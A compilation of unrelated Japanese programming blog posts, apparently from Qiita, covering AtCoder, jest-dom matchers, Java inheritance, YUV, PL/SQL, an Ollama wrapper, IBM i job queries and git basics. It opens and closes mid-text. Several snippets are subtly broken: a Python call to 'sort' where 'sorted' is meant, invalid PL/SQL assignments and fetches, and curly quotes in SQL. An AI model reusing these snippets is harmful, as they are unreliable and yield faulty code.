外部テーブルのViewの列の時だけエラー内容が異なるのは少々気になりますが、できないことに変わりはないようですね (省略していますが実テーブルに対するViewの場合は同じクエリで成功します)。
Data Catalog と Redshift のコメントが紐づいたら、少し作業が楽になる、かも？
【Atcoder】ABC 128 B問題

# コンテスト名

AtCoder Beginner Contest 128


https://atcoder.jp/contests/abc128

# 考えたこと
```python
n=int(input())
l=[]
for i in range(n):
    s,p=map(str,input().split())
    p=int(p)
    l.append([s,p])
```
B問題だし余裕だろ！！...と思ったが

辞書順に早いかどうかをどうやって判別するか？

```python
dictionary_sort = sort(l, key=lambda x: x[0])
print(dictionary_sort)
```
出力
```
[['kazan', 50], ['kazan', 35], ['khabarovsk', 20], ['khabarovsk', 40], ['moscow', 10], ['moscow', 60]]
```
なんか普通にsortされた。
文字列をsortすると辞書順になるみたいだね*1

ここからどうやって文字列が同じ時数字が大きい順に並べるか迷ったが。。。
```python
sort(key=lambda x:(x[0],-x[1]))
```
*2

で行けるみたい。
# 参考
*1

https://www.delftstack.com/ja/howto/python/lexicographical-order-in-python/

*2

https://atcoder.jp/contests/abc128/submissions/53200259
要素があるかどうかのテストにtoBeInTheDocumentを使っていませんか？

# 概要

質問来てた。
Q. `testing-library` で要素があるかどうかを厳密にテストしたいときはどうすればいいですか。

結論、 `toBeInTheDocument` ではなく `toBeVisible` を使おう。

------

こんにちは、ゆめみに新卒フロントエンドエンジニアとして４月から働き出しました[kawabata](https://twitter.com/haru1125632)です。

要素があるかどうかのテストを書いていたところ、`toBeVisible` という関数があることをチームメンバーから教えてもらいました。

# toBeInTheDocumentとtoBeVisibleの違い

[`toBeInTheDocument`](https://github.com/testing-library/jest-dom?tab=readme-ov-file#tobeinthedocument)
は、要素がDOMツリー上に存在するかどうかを確認するもので、要素の可視性は考慮しません。

[`toBeVisible`](https://github.com/testing-library/jest-dom?tab=readme-ov-file#tobevisible) は、次の属性などを確認して要素が実際に表示されているかをチェックします。

1. cssプロパティのdisplayがnoneに設定されていない
2. cssプロパティのvisibilityがhiddenかcollapseに設定されていない
3. cssプロパティのopacityが0に設定されていない
4. 親要素も表示される（DOMツリーの一番上まで表示される）
5. hidden属性を持たない

例えば、次のように`display: none`が指定されている場合、視覚的には表示されていませんが、`toBeInTheDocument`を使用するとテストは通過してしまいます。

```react
<input
 value={value}
 style={{ display: 'none' }}
 onChange={(event) => {
  onChange(event);
 }}
 placeholder="名前を入力する"
/>
```

```ts
const input = await canvas.findByPlaceholderText('名前を入力する');
await expect(input).toBeInTheDocument();　// display: noneにも関わらずPASSしてしまう
```

このような場合には`toBeVisible`を用いることで、より厳密なテストが可能です。
Android Studioの設定を修復する

Android Studio Jellyfishにアップデートしたところ、設定が吹き飛んでしまった。その時のメモ。
- Mac、JetBrains Toolboxでの環境を想定しています

## 手順

1. Android Studioを起動する
2. File → Manage IDE Settings → Import Settings
3. 復元したいAndroid Studioのバージョンのフォルダを選択

`~/Library/Application Support/Google/`以下に設定ファイルが保存されているようです。
java　クラス　継承

## 継承
あるクラスの機能を引き継ぎながら新しいクラスを定義すること
元のクラスを「親クラス」「スーパークラス」などと呼び、新たに定義されるクラスを「子クラス」「サブクラス」という
#### 継承関係の表現方法
![627c7833da2b4a25ebd6adbece2a28ae.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3620446/11f40834-be39-c5c2-1825-da49acc00ed1.png)





1つのクラスをベースとして、複数の子クラスを定義することもできる。孫クラス、ひ孫クラスの定義もできる。
多重継承（複数のクラスを親として1つの子クラスを定義すること）はできない。

### 継承を用いたクラスの定義
```
public class クラス名　extends 元となるクラス名 {
 親クラスとの差分となるメンバ
}
```
### オーバーライド
親クラスを継承して子クラスを宣言するさい、親クラスのメンバを子クラス側で上書きすること

``` Animal.java
public class Animal {
 void sound() {
  System.out.println("動物の鳴き声");
 }
}
```

``` Cat.java
public class Cat extends  Animal {
 void sound() {
  System.out.println("ニャーニャー");
 }
}
```

``` Main.java
public class Main{
 public static void main(String[] args) {
  Animal animal = new Animal();
  animal.sound();
  Cat cat = new Cat();
  cat.sound();
 }
}
```
```結果.
動物の鳴き声
ニャーニャー
```
親クラスにあれば上書きされ、なければ追加される




### 継承やオーバーライドの禁止
`final`　がついているクラスは継承できない
`String` クラスも継承できない
　JavaのAPIにリファレンス下記のように表現されているため(finalの記載）
```
public final class String extends object...
```
## 親クラスのメンバへのアクセス
直接子クラス内から親クラスへのメンバを利用する。
`super`　を使用する

#### 親インスタンス部分のフィールドの利用
```
super.フィールド名
```

#### 親インスタンス部分のメソッドを呼び出す
```
super.メソッド名(引数)
```

### 親クラスのコントラクタの呼び出し
```
super(引数)
```

## is-aの関係
子クラスは is-a 親クラス(子クラスは、親クラスの一種）
Microsoft Certified: Azure AI Engineer Associate(AI-102) 合格備忘録

### ■受験の目的
顧客要件からAIサービス設計までの流れを理解するため
Microsoft Certified: Azure AI Engineer Associate(AI-102)の認定を受けるため

### ■出題範囲
シラバスはMicrosoft公式から参照します。
https://learn.microsoft.com/ja-jp/credentials/certifications/resources/study-guides/ai-102

### ■受験の前提
中級試験の位置づけですが、特に事前に合格が必要な試験などはありません。
AIソリューション設計に関する事項が試験範囲なので、AIの基礎知識と各サービスの機能や設計・開発・運用方法は押さえておく必要があります。そのため、AI-900合格レベルの知識は前提としてあった方が良いです。

### ■受験のメリット
AIソリューションを今後設計・開発したい方には、お勧めです。AIサービスの複合的な利用方法、トレーニングやテストする方法、また評価する際の指標や細かい調整などを学んでおくことができます。

### ■教材
MicrosoftLearningで学習します。このあたり無料で詳しく体系的に学べるのはありがたいです。
PC端末限定ですが、ラボもあります。
https://learn.microsoft.com/ja-jp/training/courses/ai-102t00
※個人のMicrosoftアカウントがあれば、PCやスマホなどで進捗を同期できるので、いつでも続きから学習できます。

AI関連の用語は、日本語だと少し理解しにくいところがあるので、余裕がある方は英語で一読されることをお勧めします。

### ■模擬試験
模擬試験はUdemyで購入
https://www.udemy.com/course/practice-exams-microsoft-azure-ai-100-azure-ai-engineer
解説を"読む","覚える","再度テストする"を5周くらい繰り返しました。
正答率低いカテゴリは、リファレンスに戻って再学習します。

### ■学習期間
筆者の場合、3週間前に[AI-900]を取得していたこともあり、今回知識範囲としては一気通貫で学習することができました。
時期がゴールデンウィークであることも幸いし、60時間（土日連休の12日間各5時間）の学習でパスできました。

### ■実際の本試験
日本語に対応した試験が発行されていましたので、そちらで受験しています。
全44問の制限時間は100分でした。問題数は毎回変わるのでご注意ください。

以下の内容でした。
全問題：44問
　　L　ケーススタディ問題：6問　：　通常問題への遷移後戻れません。
　　L　通常問題：38問
⇒ケーススタディと通常問題の前後も入れ替わるかもしれません、ご注意ください。

最近の中級試験以上は、試験制度が変わったようで
テストセンター受験であっても、試験中に左のボタンからLearningを参照できるようになっているようです。ただ、時間が限られているのでLearningは、あくまでも最終手段であることを念頭に学習はしておいた方が良いです。

模擬試験を事前に解いていたのですが、本試験を振り返ると類似の問題は8問しか出題されませんでした。他問題は、模擬試験の解説とLearningを読み込んでおいたので、そこから解くことは可能でした。
初っ端のケーススタディでの問題内容と要件の照会で、時間が減っていことと
通常問題でも見慣れない問題が多く、1周目は狼狽していました。

JSON内部のパラメータ（要素など）の穴埋め、応答内容の解釈や、PythonでのAPI利用の際のURIの穴埋めなど、詳細な内容の問題に苦戦した印象です。

2周目は50分ほど時間の余裕ができたため、出題の意図を読み込んで、冷静に見直し解答ができた感じです。よく見ると、AI-900の概要知識があれば解ける問題も多く、要件の情報から数ステップ踏んで導き出すといった感じで解答することができます。

7割以上が合格ラインです。
結果は7割5分以上のスコアで、初回受験としては満足のいく結果でした。
※試験中のLearningは、参照していない参考値になります。
機能の有効性を支える４本柱

## 導入

ここで言う機能は、データ、理論、ソフトウェア、ハードウェア、サービス、ルールなどの種別を問いません。対象によっては全てがそのままは当て嵌まらないですが、何らかの機能を有するモノを作成・運用・提供する上での、その有効性を支える発見性、正確性、健常性、活用性の４本柱についての解説です。

基本的に、提供者視点主体での解説になりますが、適宜、提供者に代わり利用者がカバーする事となる内容でもあります。

## 発見性

発見できなければ存在しないのと同じです。

この為、受動的な検出可能性の確保、一覧表示、検索などにより発見ができる様にする必要があります。表示される項目の量が多い場合、一覧表示では発見性を確保できた事にはなりません、その場合は、受動的な検出可能性の確保や、検索で発見性を実現する必要があります。

発見性の確保は、貧困な発想から採用される強制的なチュートリアルやポップアップで利用者を煩わしていい理由にはなりません。「発見できる事」は「強制的に見せる事」や「利用者を煩わせる事」ではありません。

どうしても発見性を上手く確保できない要素は、多くの場合、いっそ削り落とした方がマシです。

## 正確性

間違いをなんらかの形で検出する仕組みがなかったり、正確である事がなんらかの形で担保されてなければ、その時点で間違ってるのと同じです。

「一度も動作確認してないコードには必ずバグがある」、そういう認識やスタンスである必要があります。

可能ならば提供者は利用者に対して、どの様に正確性を担保しているのか示すべきです。そうする事によって、利用者はろくな根拠もなく盲信するのではなく、信ずるに値する証によって信用する事ができる様になります。

発見性と同様、どうしても正確性を上手く担保できない要素は、多くの場合、いっそ削り落とした方がマシです。

正確性を担保できずとも、正確度を明示可能な場合、正確度を明示する事で正確性の代わりとなり得ます。同じ 70% の正確度でも、「明日は晴れ」では 30% の確率でハズレる不正確な情報であるのに対して、「明日は70%の確率で晴れ」なら間違いの無い正確な情報となります。

## 健常性

メンテナンスされてなければその時点で壊れてるのと同じです。

サポート切れのソフトウェアはその時点で壊れてるのと同じです。

メンテナンスを継続しないなら、提供(利用)やサポートの打ち切りを検討・実施しましょう。

## 活用性

それを利用する為の練習・訓練が行われてなければ、使えないのと同じです。

提供者は利用者の為に、練習・訓練がやり易い環境も合わせて提供する事を検討・実施してください。

## まとめ

- 💡 発見性: 発見できなけば存在しないのと同じ
- 💡 正確性: 検証あるいは担保されてなければ間違ってるのと同じ
- 💡 健常性: メンテナンスされてなれば壊れているのと同じ
- 💡 活用性: 練習・訓練されてなけば使えないのと同じ

この記事の転載元URL: https://wraith13.github.io/writing/?programming%2Feffectiveness.pillars.md
YUVとRGBの違い

# YUVとは
YUVとはRGBを変換したFormatである。
Y(luminance): Gray Scale画像のIntensity
U(Chrominance Blue): Blueの成分
V(Chrominance Red): Redの成分

# RGBからYUVへの変換の例
Y = 0.299 * R + 0.587 * G + 0.114 * B
U = 0.492 * (B - Y)
V = 0.877 * (R - Y)

# なぜYUVを使うの？
data sizeを小さくできるから。そうするとデータを転送する時に軽くなる。
luminance(輝度)の変化が重要でChrominance(色度)の変化が重要で無い場合、UとVのデータを削る事が出来る。
例えば人間の目はluminanceの変化に敏感らしい。

# UとVのデータ量削減の例
Cb(Chrominance Blue): 青色の成分(U)
Cr(Chrominance Red): 赤色の成分(V)

RGBからYUVに変化させるとそれぞれのPixelにY,Cb,Crの値が存在する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/482094/ada276a4-07c9-e7c3-353a-4d712b241f27.png)

CrとCbを減らすと以下の図のようにデータを減らせる。完全には復元出来ないが、4:4:4のYUV画像に変換出来て、RGBにも戻せる。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/482094/8d4c6009-8ac0-a242-6699-de24e451b19b.png)



# Reference
https://snapshot.canon-asia.com/article/eng/videography-faq-what-do-422-and-420-mean
fnmインストールした際にハマった「Node.js バイナリ"npm"が見つかりません:」

## 環境とバージョン
・windows10
・node 18.17.0
・npm 9.8.1

## エラー内容 
Node.js バイナリ"npm"が見つかりません: パスが存在しません。Node.jsがインストールされていてPATHに含まれていることを確認するか、launch.jsonで"runtimeExecutable"を設定してください。

## 事象
vscodeを使用して起動しようとした時、上記エラーが発生して起動することができない

## 試してみたこと、確認したこと
・nodeやnpmは正常にインストールできていること
・fnmのインストールも正常にできていること
・launch.jsonの設定も問題なさそうなこと
（他メンバーとの差分を取って一致していることを確認）
・パスを正常に通せていること

## 原因、解決方法
**・vscodeを管理者権限で立ち上げる**
（権限不足周りで影響していたと思われる）
・次回以降vscodeがデフォルト管理者権限で立ち上がるように修正

## 参考記事
「Node.jsバージョン管理ツール「fnm」のインストール方法と使い方」

https://qiita.com/heppokofrontend/items/fe1c3bc41a0ae943c2ca?0
Flutter VS React Native — モバイルアプリ開発の新たな競争

# はじめに
FlutterとReact Nativeはどちらもクロスプラットフォームのモバイルアプリ開発を支える主要なフレームワークですが、それぞれには独自のアプローチと特徴があります。この記事では、両フレームワークの機能、性能、適用シナリオなどを比較し、開発者がどちらを選ぶべきかを明らかにします。

## Flutterの特徴
### 開発言語
FlutterはDart言語を使用します。Dartはスケーラビリティが高く、アプリケーションのパフォーマンスに優れる特性を持ちます。

### 実行環境
Flutterは「ウィジェット」と呼ばれる独自のUI構築ブロックを利用し、ほとんどのコードがネイティブコードにコンパイルされるため、高パフォーマンスを実現します。

### コミュニティとサポート
Googleによって開発され、急速に成長するコミュニティと充実したドキュメント、サポートがあります。

### 学習曲線
Dart言語の学習が必要ですが、直感的なUI設計と高度な開発ツールが学習を容易にします。

### スクリーンショット
Flutterで開発されたアプリの例を以下に示します。
![ahamo.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/603047/1c0329f5-d0a4-441b-77e3-ea46a541aa4b.jpeg)
(https://fundev.jp/flutter-apps/より引用)

## React Nativeの特徴
### 開発言語
 JavaScriptまたはTypeScriptを使用します。
### 実行環境
 ネイティブコンポーネントを使用してUIを構築し、そのためアプリのパフォーマンスが高いです。
 ネイティブコンポーネントとは、モバイルOSの基本的な機能に直接アクセスし、その結果として高速で滑らかなユーザー体験を提供するものです。
 実際のネイティブアプリに近い体験を提供します。
### コミュニティとサポート
 Facebookによって開発され、大きなコミュニティと広範なサポートがあります。
 多くのサードパーティのライブラリやツールが利用可能です。
### 学習曲線
  React（Web向けフレームワーク）に精通している場合は、比較的簡単に移行できますが、ネイティブ開発に関する知識がないと初期の学習がやや難しい場合があります。
### スクリーンショット
React Nativeで開発されたアプリの例を以下に示します。
![react.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/603047/95201d87-9002-c3a5-3579-4d8c299c0575.png)
(https://bagelee.com/programming/react-native/react-native-apps-example/ より引用)

## 選択における考慮点
### パフォーマンス
両フレームワークは高いパフォーマンスを提供しますが、FlutterはすべてのUIコンポーネントをネイティブコードにコンパイルするため、特にアニメーションやトランジションが多用される複雑なUIで優れたパフォーマンスを発揮します。一方、React NativeはJavaScriptとネイティブ要素のブリッジを通じて動作するため、複雑なアニメーションでは若干の遅延が生じる可能性があります。

### 開発速度
React Nativeは既存のJavaScriptとReactの知識を活用できるため、Web開発者にとってアクセスしやすく、開発のスピードアップが期待できます。Flutterもホットリロード機能を提供し、効率的な開発が可能ですが、Dart言語の習得には時間がかかる場合があります。

### UIの一貫性とカスタマイズ
Flutterは高度なカスタマイズが可能で、異なるプラットフォーム間で一貫したUIを容易に実現できます。これに対し、React Nativeはプラットフォーム固有のコンポーネントを使用するため、iOSとAndroidで異なる見た目となることがありますが、ネイティブコンポーネントの利用はユーザー体験の質を高めることができます。

### エコシステムとコミュニティ
React Nativeは長い間開発が行われており、巨大なコミュニティと豊富なプラグインが存在します。Flutterは比較的新しいものの、Googleの支援を受けて急速に成長しており、多くのライブラリが日々開発されています。

### 長期的なサポートとアップデート
GoogleによるFlutterへの強力なサポートと頻繁なアップデートは、将来的にも技術が継続的に改善されることを保証します。React NativeもFacebookとコミュニティによる安定したサポートがありますが、過去には互換性の問題が発生したことがあります。

## パフォーマンスの比較
FlutterとReact Nativeのパフォーマンスを詳細に分析し、各フレームワークがどのようなアプリケーションシナリオで優れているかを探ります。

## 開発速度と生産性
両フレームワークの開発ツール、既存コンポーネントの利用可能性、開発プロセスの簡素化に焦点を当てて比較します。

## プロジェクトの要件に基づく選択
異なるプロジェクト要件（ユーザーインタフェースの複雑さ、必要なデバイス機能等）に基づいて、どちらのフレームワークが適切かを評価します。

## 備考
+ [Flutter 公式ドキュメント](https://flutter.dev/)
+ [React Native 公式ドキュメント](https://reactnative.dev/)
PL/SQL　#2　簡単な関数

※本記事は自学内容のアウトプットになります。

#関数

PL/SQLの特徴として、基本的な関数をSQL内で実行することができる点が挙げられる。

例えば
FOR文で一定の抽出処理をLOOPさせ、
抽出した内容をCSVなどに吐き出す際に
一行ずつ処理結果を吐き出す処理を作る場合

```SQL
-- 宣言
DECLARE
-- 処理
BEGIN
  FOR i IN 1..10 LOOP
    IF (i IN (2, 4, 6, 8, 10)) THEN
      DBMS_OUTPUT.PUT_LINE(i || '偶数');
    ELSE
      DBMS_OUTPUT.PUT_LINE(i || '奇数');
    END IF;
  END LOOP;
END;
```
といった具合にLOOPさせることかできる。この内容を組み込むと、処理の流れは以下のようになる。
```SQL
BEGIN

    --宣言部で抽出した結果を含むカーソル
    OPEN CUR1;
    --抽出件数を保存する宣言
　　cnt　=　0;
  
    -- 1件目
    FETCH CUR1 INTO CUR1_SP;

    /*
    上記処理とカウント関数を用いて
    ヘッダ行と明細行を使い分けることで
    cnt　+　1　=　1　のときに
    ヘッダ行を出力
    それ以降は明細行として出力
    というような使い方も可能
    */

    --繰り返し処理
    LOOP

        -- カーソルにデータがない場合LOOPを終了
        IF CUR1%NOTFOUND THEN
            EXIT;
        END IF;

        --表領域の表示
        DBMS_OUTPUT.PUT_LINE(CUR1_SP.TABLESPACE_NAME);

        /*
        個人的によく使いのは別途ファイル出力用のファンクションを設け
        そこに　ファンクション（カウント数,　CUR1_SP）
        のような形で値を渡し、出力する方法
        */

        FETCH CUR1 INTO CUR1_BK;

    END LOOP;

    --カーソルのCLOSE
    CLOSE CUR1
```


上記の処理にCASE文などで条件分岐をさせ
より柔軟にデータを取得していくのが
一般的な業務上での使い方かと思う。

```SQL
CASE WHEN '条件１'
       THEN 結果
     WHEN 条件２
       THEN 結果
     ELSE 結果
END；
```
と、条件式を駆使し、
SQL内で柔軟な抽出処理に対応することができる。
ニュートン超図解新書『最強に面白い心理学』を読んで

# ニュートン超図解新書『最強に面白い心理学』を読んで

最近読んだ『[ニュートン超図解新書 最強に面白い 心理学](https://www.amazon.co.jp/%E3%83%8B%E3%83%A5%E3%83%BC%E3%83%88%E3%83%B3%E8%B6%85%E5%9B%B3%E8%A7%A3%E6%96%B0%E6%9B%B8-%E6%9C%80%E5%BC%B7%E3%81%AB%E9%9D%A2%E7%99%BD%E3%81%84-%E5%BF%83%E7%90%86%E5%AD%A6-%E5%A4%96%E5%B3%B6%E8%A3%95/dp/4315527971/)』から、営業っぽい仕事に役立つ＋チームを運営するうえで役立つ+面白いと思った心理学の理論をいくつかご紹介します。

## 単純接触効果
「見るから好きになる」という単純接触効果は、私たちが何度も何度も同じものを見ることで、それに対して好意を持ち始めるという現象です。何度も目にすることでストレスなく受け入れられるようになるということでした。例えば、最初は気にならなかった広告の曲も、何度も耳にするうちに口ずさんでしまうことがありますが、この効果は無意識のうちに私たちの好みを形成しているのです。

## ハロー効果
人は、見た目が良い人の性格も良いと思い込む傾向があります。これは「ハロー効果」と呼ばれ、見た目の印象だけでその人の全体像を判断してしまう心理現象です。初対面での印象が非常に重要な理由もここにあります。見えている一部の情報から全体を予想してしまうので、お客様にはじめに相対するときにはきちんとしつつも朗らかな印象を与えたいものです。。

## 社会的手抜き
チームで作業を行うとき、個々の貢献度が明確でないと、無意識のうちに努力を減らしてしまう「社会的手抜き」が発生します。しかし、メンバー間の信頼関係が築かれていると、この傾向は軽減され、より協力的になることができます。

## 損失回避性
人は、得ることよりも失うことに対して強い感情を抱きやすいです。この「損失回避性」のために、リスクを避ける行動を取ることが多くなります。たとえば、少しでも損を避けるために、必要以上に保守的な選択をすることがあります。

## マインドフルネス
現代人に推奨されるマインドフルネスは、いま感じている思考や感情をそのまま受け入れる練習です。これにより、ストレスの多い状況でも冷静に対処する力が養われます。日々の生活の中で意識して実践することで、心の平穏を保つことができるでしょう。

## 最後に
心理学は私たちの日常生活に密接に関わる学問です。もちろんビジネス上でも重要度が高いで。今私は駆け出しエンジニア技術は弱いので、ビジネスでしっかり信頼を築けるようになる理論は意識していきたいですね。
この本は心理学全く読んだことがない方でも読みやすく比較的短時間で読めるのでおすすめです。
pythonコード2行でカスタムモデルのOllamaサーバーを起動できるoyamaを作ってみた

# pythonコード2行でカスタムモデルのOllamaサーバーを起動できるoyamaを作ってみた

 <img alt="oyama" width=200 src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/911989/db355fee-41f0-8fb0-2025-f97697c66f84.jpeg">


GoogleColabでOllamaを使うときの面倒な設定を一発で解決！pythonコード2行でカスタムモデルのOllamaサーバーを起動できる最強ラッパーoyamaを作ったぞ！

ollamaのためのラッパーで、ローカルモデルを一発起動でき、URLを指定してモデルをロードできます。  
(現状Linuxのみサポートしていますが、WindowsやMacでもollamaコマンドが使える状態であれば、動くはずです)


## はじめに

Ollamaは、ローカルにインストールしたカスタムモデルを使ってAIアシスタントを実行できる素晴らしいツールです。しかし、モデルをロードしてサーバーを起動するのが少し面倒でした。

- モデルをダウンロードして解凍
- 特定のフォルダに置く
- 起動コマンドを実行

このような手順を経る必要がありました。カスタムモデルを試したくてもこの手順が面倒で二の足を踏んでしまう人も多いはずです。

## oyamaでできること

- カスタムモデルを指定してOllamaサーバーを一発起動
- モデルをURLから直接ロード可能  
- と、めっちゃ便利！

## GoogleColabサンプル
手軽に試したい方にGoogleColabのサンプルノートブックも用意しました

https://colab.research.google.com/github/HawkClaws/oyama/blob/main/oyama.ipynb

## インストールと使い方


### インストール

```bash 
pip install git+https://github.com/HawkClaws/oyama.git ollama
```

### 使い方
```
from oyama import oyama
import ollama

# Hugging Faceなどのguffのモデルリンクの指定
model_name = oyama.run("https://huggingface.co/mmnga/cyberagent-calm2-7b-chat-gguf/resolve/main/cyberagent-calm2-7b-chat-q8_0.gguf?download=true")

response = ollama.chat(model=model_name, messages=[
  {
    'role': 'user',
    'content': '日本でお薦めの観光地を5つあげてください。',
  },
])
print(response['message']['content'])
```

### モデルリンクの取得方法

![get_model_link.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/911989/f20eb647-9c94-c0f5-18d7-384f8868bd95.jpeg)


## おわりに

oyamaを使えばOllamaがぜんぜん手軽に使えるようになりました!  
カスタムモデルの乱立に困ることはないでしょう。  
みなさんもOllamaとoyamaでAIモデルの汎用性を楽しんでみてください!
[JSX / JavaScript] 波括弧がないアロー関数に戸惑った話

### 概要
アロー関数について、恥ずかしながら今更気がついた仕様がありましたので、自戒の念を込めて記事化することにしました...

### 詳細
`JSX`を記載している時の話...

以下のコードを書いて保存すると、
```jsx
{members.map((member, i) => <li key={i}>{member}</li>)}
```
↓ `Prettier` によって整形された
```jsx
{members.map((member, i) => (
  <li key={i}>{member}</li>
))}
```

**「...ん？」**
アロー関数が改行されているのに `{}` ではなく、 `()`とされている？
てっきり以下のような記載になると思っていた...（これでも動きます）

```jsx
{members.map((member, i) => {
  return <li key={i}>{member}</li>;
})}
```

この記法について調査してみました。

### わかったこと
アロー関数は`()`と`{}`で動きに違いあることがわかりました。
それぞれ以下の挙動になるようです。

#### `()`を使った場合
アロー関数で`()`を使うと、内部に書かれた式が直接返り値となります。
明示的にreturnを書かずともその結果が返されます。

```jsx
{members.map((member, i) => (
  <li key={i}>{member}</li>
))}
```
#### `{}`を使った場合
アロー関数で`{}`を使うと、内部で計算や複数のステートメントを実行できます。
結果を返すためには、`return`文が必要です。

```jsx
{members.map((member, i) => {
  return <li key={i}>{member}</li>;
})}
```

#### 追記 :memo: 応用
@juner 様より有益なコメントいただきました :sparkles:
アロー関数の`()`は、空オブジェクト返したい時ケースでも用いることがあるそうです。

> アロー関数での () は {} 空オブジェクト返したい時とかにもよく使いますね（強制的に式にできるので
```typescript
const func = () => ({});
```

コメントありがとうございました！

### 参考にさせていただいた記事
https://qiita.com/shizen-shin/items/8c602a71f3a6e403e929

以上です！
何方かのお役に立てたら嬉しいです🙏
IBM i Services Directory : QSYS2.ACTIVE_JOB_INFO テーブル関数

## 概要
■テーブル関数名：QSYS2.ACTIVE_JOB_INFO
■カテゴリ：実行管理サービス
■サポート：IBM i 7.2以降
■参照URL（IBM i 7.5）：https://www.ibm.com/docs/ja/i/7.5?topic=services-active-job-info-table-function

・IBM i OS上のすべて・または一部の実行中ジョブのリストを取得できます。WRKACTJOBコマンドに類似
・活動中ジョブの統計情報を取得できます。WRKACTJOBのF10キーと同様に統計情報をリセットすることもできます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1011394/0c26624b-2595-4340-7ba1-f1482dab178a.png)

## QSYS2.ACTIVE_JOB_INFO実行例

```
SELECT * FROM TABLE ( QSYS2.ACTIVE_JOB_INFO(JOB_NAME_FILTER => 'QPADEV*')) ;
```
5250の端末名が QPADEV*** という名前のジョブ一覧が取得されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1011394/ca4f996e-26c5-0147-73f6-b1ff83a3b315.png)

## 業務利用ユースケース
***従来5250端末で実行監視していた場合、SQLに置換してIBM i 外部の監視ツールや端末デバイスから監視させることができます。
また、以下のように実行中のジョブのリストを取得後に、後続処理をCLPなどで投入することもできます。***
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1011394/e6add309-727c-2901-7aed-2cca1676a89f.png)

■QCMDXCプロシージャー 参考
https://www.ibm.com/docs/ja/i/7.5?topic=services-qcmdexc-procedure

## Navigator for iでもこのIBM i サービスは使われています
Navigator for i でアクティブジョブ画面を表示させて、画面右上のSQLを表示で確認すると、ACTIVE_JOB_INFOテーブル関数が呼び出されていることがわかります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1011394/9b3799b7-148b-a073-1e10-4c0dba682a44.png)

Navigator for iのアクティブジョブの画面で色々なフィルターを指定できますが、フィルター条件を含めてACTIVE_JOB_INFOのSQLを取得できます。
以下の例はジョブ名を 'SAMPLE*' とした際の例です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1011394/063b0f62-9631-6fc0-8e7b-a022811b9a6e.png)
```
SELECT * 
FROM TABLE ( QSYS2.ACTIVE_JOB_INFO(
	RESET_STATISTICS => 'NO’,
	SUBSYSTEM_LIST_FILTER => ‘’,
	JOB_NAME_FILTER => '*ALL’, 
	CURRENT_USER_LIST_FILTER => ‘’,
	DETAILED_INFO => 'ALL' ) ) 
WHERE UPPER(JOB_NAME_SHORT) LIKE '%SAMPLE%’ 
LIMIT 100 OFFSET 0 ;
```
gitでの開発手順について

gitでの作業手順がいまいちわからなかったので、備忘録としてまとめようと思います。

# gitとは？
そもそもgitとは何か？というとこからですが、gitとは、ファイルの変更を記録して、いつでも元に戻せるシステムのことです。
詳しくは、調べればわかると思いますので、早速開発の流れに進みたいと思います。

# gitでの開発の流れ
1. **リモートリポジトリの作成**
githubのトップページから「Create repository」をクリックし、新しいリポジトリを作成します。
    
2. **リポジトリをプッシュ**
リモートリポジトリ(github)を準備したら、ローカルリポジトリ(自分のPC)に登録されている、手元のファイル群をサーバーへ転送します。gitでは、手元のデータや変更をリモートリポジトリに反映することを「プッシュ（Push：押し出す）」と言います。
`git push リモートリポジトリ名 ブランチ名`
作成したリモートリポジトリを、他の人も作業したい場合は、「クローン」することで、リモートリポジトリに参加することができます。クローンすることで、複数人でリモートリポジトリを編集することができるようになります。

    <details><summary>以下はクローンの簡単な流れになります</summary>

    1. 作業フォルダへ移動
    クローンしてきたリモートリポジトリを作業するディレクトリを作成し、そこに移動します。
    `cd 作業ディレクトリ`
    
    2. クローンする
    `git clone リモートリポジトリのURL`
    

    詳しくは、[公式のドキュメント](https://docs.github.com/ja/repositories/creating-and-managing-repositories/cloning-a-repository)に記載があります。

    </details>
    
3. **ベースブランチから作業ブランチを作成**
　ベースブランチ（main や master ブランチ）から新しい作業ブランチを作成します
    
    `git checkout -b 新しいブランチ名`
    
4. **変更をコミット**   
  コミットの前に、git addでファイルをインデックスに追加します。(コミットの予約のような役割です)
    
    git addでファイルをステージング(コミットの予約をして)をしてから、コミットします。
    
    `git add` 
    
    git commitでリポジトリにファイルを預けます。-m 'メッセージ’で、どのような変更を加えたのかコメントを入れます。
    
    `git commit -m “メッセージ"`
    
    <details><summary>コミット頻度はどうすればいいの？</summary>
    
    gitではコミットをするごとに、コントリビューションが緑色になります。(草を生やすというそうです。)
    
    毎日草を生やすことで、毎日継続してアウトプットできてるよということが可視化されます。
    
    しかし、毎日コミット？コミットってどれくらいの頻度でやればいいの？と疑問がありました。
    
    **コミットは1タスク実行するごとに実施する！**
    
    1つのissueに設定した、Todoリストの作業が１つ完了したらコミットするイメージです。その他、サブタスク単位 とか 本日の作業終了時 など、キリが良いタイミングがあればこまめにコミットすべきだそうです。
    
    ※コミットが増えるとコメントが大変ですが、変更内容がわかるコメント内容にしておく必要あり
    </details>

    
5. リモートリポジトリにプッシュ作業ブランチの変更をリモートリポジトリにプッシュし、変更をリモートリポジトリに反映させます。
    
    `git push リモートリポジトリ名 ブランチ名`
    
    リモートリポジトリをチームで利用している場合、誤ったプッシュにより、他のメンバーのプログラムが正しく動作しなくなってしまったりしないように、プッシュは慎重に行う必要があります。
    
    そこで、プッシュする代わりに「プルリクエスト」を出すという方法があります。
    以下に簡単なプルリクエストの流れを書きました。
    こちらも詳しくは[公式ドキュメント](https://docs.github.com/ja/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)に記載があります。
    
    ### プルリクエストを使う場合の流れ
    
    1. 通常の手順で作業ブランチの作成からリモートリポジトリへプッシュまで行う
    2. プルリクエスト（Pull Request）の作成
        
        リモートリポジトリのウェブインターフェース（GitHub、GitLab、Bitbucketなど）でプルリクエストを作成します。プルリクエストで、コードのレビューを行い、ベースブランチに変更をマージするための要求をします。
        
    3. レビューと修正
        
